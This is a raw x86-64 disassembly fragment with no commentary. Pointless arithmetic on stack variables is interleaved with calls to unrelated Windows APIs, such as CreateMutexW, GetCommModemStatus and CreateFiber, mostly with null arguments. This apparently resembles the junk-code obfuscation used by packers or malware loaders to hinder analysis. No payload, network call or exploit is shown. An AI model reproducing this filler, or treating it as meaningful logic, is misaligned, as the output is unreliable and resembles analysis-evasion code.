mov rax, qword [rsp + 0xa7f8]
mov rcx, qword [rsp + 0xab00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0xa9a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8990], rax
mov rax, qword [rsp + 0x9ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa448]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c78]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d68]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa198]
mov word [rcx], ax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov dword [rsp + 0x4958], eax
movzx eax, byte [rsp + 0x37d]
movzx ecx, byte [0x140229f1d]
shl eax, cl
mov byte [rsp + 0x34b], al
mov eax, dword [rsp + 0x4278]
movzx ecx, al
mov eax, dword [rsp + 0x4924]
shr eax, cl
mov dword [rsp + 0x458c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xacc8], rax
mov rax, qword [rsp + 0x9ad8]
mov rcx, qword [rsp + 0x9398]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa508], rax
lea rax, [rsp + 0x363]
mov qword [0x14022bb00], rax
movsx eax, word [rsp + 0x1394]
movsx ecx, word [rsp + 0x1db0]
add eax, ecx
mov word [rsp + 0x16c0], ax
lea rax, [rsp + 0x1cb8]
mov qword [rsp + 0xacd0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov r9d, 2
xor r8d, r8d
mov edx, 0x6a78
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4954], eax
movzx eax, word [rsp + 0x1d9c]
mov rcx, qword [rsp + 0x9e98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa1b0]
mov word [rcx], ax
lea rax, [rsp + 0xa080]
mov qword [rsp + 0xacd8], rax
lea rcx, [rsp + 0xa488]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0xa750]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa698]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
mov rcx, qword [0x14022b950]
mov qword [rsp + 0xace0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xace0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa048]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa288]
movzx eax, byte [rax]
mov byte [rsp + 0x387], al
movsx eax, word [rsp + 0x1518]
mov rcx, qword [rsp + 0xa8d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ccc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.gb26OLbOWkkkw73D
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xace8], rax
lea rax, [rsp + 0x1848]
mov qword [0x14022bb08], rax
mov rax, qword [rsp + 0xab18]
mov rax, qword [rax]
mov qword [rsp + 0xacf0], rax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1c80]
mov rcx, qword [rsp + 0xac00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d94], ax
movzx eax, byte [rsp + 0x36a]
movzx ecx, byte [rsp + 0x29c]
shl eax, cl
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0x9be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0xa220]
mov ecx, dword [rsp + 0x48d8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xaa40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa730]
movzx eax, byte [rax]
mov byte [rsp + 0x388], al
lea rdx, [rsp + 0x48b0]
mov rcx, qword [rsp + 0xac68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0xaaa0]
movzx ecx, al
mov rax, qword [rsp + 0x9a00]
shr rax, cl
mov qword [rsp + 0xa750], rax
mov rax, qword [rsp + 0xa628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa08]
add eax, ecx
mov word [rsp + 0x1c34], ax
movzx eax, word [rsp + 0x1cb4]
movzx ecx, word [rsp + 0x1df4]
sub eax, ecx
mov rcx, qword [0x14022b908]
mov word [rcx], ax
mov rax, qword [rsp + 0xa218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov rax, qword [0x14022b870]
mov rcx, qword [rsp + 0x9bd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0xa030]
movzx eax, word [rax]
mov word [rsp + 0x1e0c], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca8]
and eax, ecx
mov rcx, qword [rsp + 0x9e98]
mov word [rcx], ax
mov rax, qword [rsp + 0xac08]
movzx eax, byte [rax]
mov byte [rsp + 0x389], al
mov rax, qword [rsp + 0xa648]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa8b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9150], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xacf8], rax
mov eax, dword [rsp + 0x47e0]
movzx ecx, al
mov eax, dword [rsp + 0x482c]
shr eax, cl
mov dword [rsp + 0x475c], eax
mov rax, qword [rsp + 0x9c80]
mov rcx, qword [rsp + 0x7ed8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b78], rax
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [rsp + 0xab80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022b938]
mov word [rcx], ax
mov rax, qword [0x14022b908]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1cf8], ax
lea rax, [rsp + 0x147]
mov qword [rsp + 0xad00], rax
mov eax, dword [rsp + 0x4950]
movzx ecx, al
mov eax, dword [rsp + 0x4788]
shl eax, cl
mov dword [rsp + 0x47b8], eax
mov rax, qword [rsp + 0xa848]
mov rcx, qword [0x140229f20]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
lea rax, [rsp + 0x4614]
mov qword [rsp + 0xad08], rax
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ef0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa150]
mov qword [rcx], rax
movzx eax, byte [0x14022b810]
mov byte [rsp + 0x38a], al
movsx eax, word [rsp + 0x1c78]
movsx ecx, word [rsp + 0x1d28]
sar eax, cl
mov rcx, qword [rsp + 0xa1a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
mov word [0x14022bb10], ax
lea rdx, [rsp + 0x4790]
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x490c], eax
mov rax, qword [0x14022bad0]
mov rcx, qword [rsp + 0x8330]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8870], rax
movzx eax, word [rsp + 0x7fc]
mov rcx, qword [rsp + 0xac00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d9c], ax
movsx eax, word [rsp + 0x1de4]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e0c], ax
mov rax, qword [rsp + 0xa880]
mov qword [rsp + 0xad10], rax
mov rax, qword [rsp + 0xa250]
mov rcx, qword [rsp + 0xac38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa210]
mov dword [rcx], eax
mov r9d, 0x1f89
xor r8d, r8d
lea rdx, [rsp + 0x9f28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x495c], eax
mov rax, qword [rsp + 0x7770]
mov qword [rsp + 0xad18], rax
mov rax, qword [0x14022ba80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x348], al
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0x9be8]
mov rcx, qword [0x140229fe0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14022b980]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x9f80]
mov rcx, qword [rsp + 0x9bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4748], eax
movzx eax, word [rsp + 0x1ce8]
mov word [rsp + 0x1e10], ax
movzx eax, word [rsp + 0x1dd8]
mov rcx, qword [rsp + 0x96c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0xa190]
mov ecx, dword [rsp + 0x4044]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xac38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0xa4d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5f0]
mov qword [rsp + 0xad20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7950], rax
lea rax, [0x140229f50]
mov qword [rsp + 0xad28], rax
mov rax, qword [rsp + 0xa430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa588]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140229fec], ax
mov rax, qword [rsp + 0x9fb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa720]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bf8], rax
mov rax, qword [rsp + 0x86c8]
mov rcx, qword [0x140229f20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f78], rax
mov rax, qword [rsp + 0x7278]
mov qword [rsp + 0xad30], rax
movsx eax, word [rsp + 0x1cb8]
movsx ecx, word [rsp + 0x86c]
and eax, ecx
mov rcx, qword [rsp + 0xaad8]
mov word [rcx], ax
lea rax, [0x14022bae4]
mov qword [rsp + 0xad38], rax
mov rax, qword [rsp + 0x9fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x274]
and eax, ecx
mov rcx, qword [rsp + 0xa598]
mov byte [rcx], al
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0x8ef0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8a70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0x378]
sar eax, cl
mov rcx, qword [rsp + 0xa630]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x507a
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4960], eax
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4658]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4950], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0xa460]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cf4]
shl eax, cl
mov word [0x14022b8d4], ax
movzx eax, word [rsp + 0x1b14]
mov word [rsp + 0x1e14], ax
mov r9d, 0x1962
xor r8d, r8d
lea rdx, [rsp + 0x9e60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4848], eax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dd4]
or eax, ecx
mov word [rsp + 0x19bc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x82e8]
mov qword [rsp + 0xad40], rax
mov rax, qword [rsp + 0x9f60]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0xaa58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x72a0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1329
mov rcx, qword [rsp + 0xabc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4810], eax
lea rax, [0x14022b811]
mov qword [rsp + 0xad48], rax
lea rdx, [rsp + 0x4964]
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4724], eax
movsx eax, word [rsp + 0x1174]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1da4], ax
mov rax, qword [rsp + 0xa840]
movzx eax, word [rax]
mov word [rsp + 0x1e18], ax
lea rax, [rsp + 0xad30]
mov qword [0x14022bb18], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov r9d, 0xb66
xor r8d, r8d
lea rdx, [rsp + 0xacc8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0x9e40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d4c]
sar eax, cl
mov word [rsp + 0xb0c], ax
mov rax, qword [rsp + 0x9a80]
mov rcx, qword [rsp + 0x9eb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9f8], rax
lea rax, [0x14022b8a8]
mov qword [rsp + 0xad50], rax
mov eax, dword [rsp + 0x39dc]
mov ecx, dword [rsp + 0x41b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x9b98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x80d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov eax, dword [rsp + 0x4674]
mov ecx, dword [rsp + 0x45d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b4], eax
lea rax, [rsp + 0x35f]
mov qword [rsp + 0xad58], rax
movsx eax, byte [rsp + 0xa0]
mov rcx, qword [rsp + 0xa598]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa0b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x19f8]
mov word [0x14022bb20], ax
mov rax, qword [rsp + 0xa950]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xacd0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d3c], ax
movzx eax, word [rsp + 0x1d10]
mov word [rsp + 0x1e1c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xad60], rax
movzx eax, word [0x14022b900]
mov rcx, qword [rsp + 0xa148]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xa4d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa508]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7dd0], rax
mov eax, dword [rsp + 0x473c]
imul eax, dword [rsp + 0x4834]
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1ca0]
mov word [rsp + 0x1e20], ax
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0x1ca4]
sar eax, cl
mov rcx, qword [rsp + 0xaa30]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0xa0f8]
sub rcx, rax
mov rax, rcx
mov qword [0x14022b9c0], rax
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x8078]
mov qword [rsp + 0xad68], rax
mov rax, qword [rsp + 0xa860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3d0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd2c6
mov rcx, qword [rsp + 0xa6d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4828], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x9d38]
mov rcx, qword [rsp + 0x7848]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
mov word [rsp + 0x1e24], ax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0xa780]
mov ecx, dword [rsp + 0x3ea8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4494], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xad70], rax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa18]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac58]
mov byte [rcx], al
mov rax, qword [rsp + 0xa130]
mov rcx, qword [rsp + 0xa378]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa5f8], rax
xor edx, edx
mov rax, qword [rsp + 0xa158]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa028]
div dword [rcx]
mov dword [0x140229ff0], eax
mov rax, qword [rsp + 0xab80]
movzx eax, word [rax]
mov word [rsp + 0x1e28], ax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0x9cb0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1d34], ax
movzx eax, word [rsp + 0x1d88]
mov rcx, qword [rsp + 0xa430]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x17f8], ax
mov rax, qword [rsp + 0x9cd0]
mov rcx, qword [rsp + 0x73a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa6f0], rax
lea rax, [rsp + 0x4530]
mov qword [rsp + 0xad78], rax
movsx eax, byte [rsp + 0x38a]
mov rcx, qword [rsp + 0x9fa8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa9f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d18]
mov rcx, qword [0x14022b808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ef8], rax
movzx eax, word [rsp + 0x19f8]
mov word [rsp + 0x1e2c], ax
movzx eax, word [rsp + 0x19b8]
mov rcx, qword [rsp + 0x9888]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022b8d0], ax
mov rax, qword [rsp + 0x9ed8]
mov rcx, qword [rsp + 0xa860]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c78]
mov qword [rcx], rax
lea rax, [rsp + 0xa64]
mov qword [rsp + 0xad80], rax
mov eax, dword [rsp + 0x3dc8]
mov ecx, dword [rsp + 0x47c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3db8], eax
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0x383]
add eax, ecx
mov byte [rsp + 0xa9], al
lea rax, [rsp + 0x7f78]
mov qword [rsp + 0xad88], rax
mov rax, qword [0x14022b9f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa888]
mov qword [rsp + 0xad90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x473c], eax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0xad98], rax
mov rax, qword [rsp + 0xa1a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d40], ax
lea rax, [rsp + 0x1df4]
mov qword [0x14022bb28], rax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0xa5b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7c50], rax
mov rax, qword [rsp + 0x8ca8]
mov qword [rsp + 0xada0], rax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x10b4]
mov rcx, qword [0x14022ba70]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9848]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ce0]
mov rcx, qword [rsp + 0x9e90]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1350], ax
mov eax, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x474c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa40]
mov dword [rcx], eax
lea rax, [rsp + 0x77b0]
mov qword [rsp + 0xada8], rax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x348]
or eax, ecx
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ca8]
movzx ecx, al
mov rax, qword [rsp + 0xad30]
sar rax, cl
mov rcx, qword [rsp + 0xa560]
mov qword [rcx], rax
movsx eax, word [0x14022ba98]
mov rcx, qword [rsp + 0xa8d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022ba24], ax
mov rax, qword [rsp + 0x9fd8]
movzx eax, word [rax]
mov word [rsp + 0x1e30], ax
movzx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0xad58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xabf8]
mov byte [rcx], al
lea rax, [rsp + 0x4758]
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0xa218]
mov rcx, qword [rsp + 0x9668]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ef0]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa110]
mov qword [rcx], rax
lea rax, [rsp + 0x4484]
mov qword [rsp + 0xadb8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xaafd
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47cc], eax
mov rax, qword [rsp + 0xa0f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x36e]
and eax, ecx
mov byte [rsp + 0x371], al
lea rax, [rsp + 0x1da8]
mov qword [rsp + 0xadc0], rax
movzx eax, word [rsp + 0x15f4]
mov rcx, qword [rsp + 0xa718]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022b8d0], ax
mov rax, qword [rsp + 0xa180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98e0]
mov qword [rsp + 0xadc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xadc8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa3f0], rax
movzx eax, word [rsp + 0xbe0]
movzx ecx, word [0x140229f40]
add eax, ecx
mov rcx, qword [rsp + 0x9e40]
mov word [rcx], ax
lea rax, [rsp + 0x1e28]
mov qword [rsp + 0xadd0], rax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0x9e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
lea rcx, [rsp + 0xadd8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa308]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b812]
shl eax, cl
mov byte [rsp + 0x2c4], al
mov eax, dword [rsp + 0x4888]
mov ecx, dword [rsp + 0x48d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov dword [rcx], eax
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa400]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x95a0], rax
movzx eax, word [rsp + 0xa64]
mov word [rsp + 0x1e34], ax
mov rax, qword [rsp + 0x9d68]
mov rax, qword [rax]
mov qword [0x14022bb30], rax
movzx eax, byte [rsp + 0x100]
movzx ecx, byte [rsp + 0x147]
add eax, ecx
mov byte [rsp + 0x2d6], al
mov rax, qword [rsp + 0x9fc0]
mov eax, dword [rax]
mov dword [rsp + 0x4968], eax
movsx eax, word [rsp + 0x1d34]
mov rcx, qword [rsp + 0x9b80]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17fc], ax
lea rax, [rsp + 0x1260]
mov qword [rsp + 0xade0], rax
mov rax, qword [rsp + 0xab98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x282]
sub eax, ecx
mov byte [rsp + 0x389], al
mov eax, dword [rsp + 0x39dc]
mov ecx, dword [rsp + 0x475c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x474c], eax
mov rax, qword [rsp + 0x9a68]
mov rcx, qword [rsp + 0xa6e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7af0], rax
movsx eax, word [rsp + 0x1e28]
mov rcx, qword [rsp + 0xa970]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cd4], ax
movzx eax, word [rsp + 0x1d2c]
mov word [0x14022bb38], ax
lea rdx, [rsp + 0x4814]
mov rcx, qword [rsp + 0xaa28]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4964], eax
lea rax, [rsp + 0x9a80]
mov qword [rsp + 0xade8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc78d
mov rcx, qword [rsp + 0xa760]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x496c], eax
lea rdx, [rsp + 0x48a0]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48c8], eax
mov rax, qword [0x14022b880]
mov rcx, qword [rsp + 0x9d48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0x9ed8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa388]
sar rax, cl
mov qword [rsp + 0x73a0], rax
movzx eax, word [rsp + 0xecc]
mov word [rsp + 0x1e38], ax
imul eax, dword [0x140229ff0], 0xf016
mov dword [rsp + 0x48d8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x9ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2b4], al
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa17a
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4884], eax
lea rcx, [rsp + 0x9a78]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9b98]
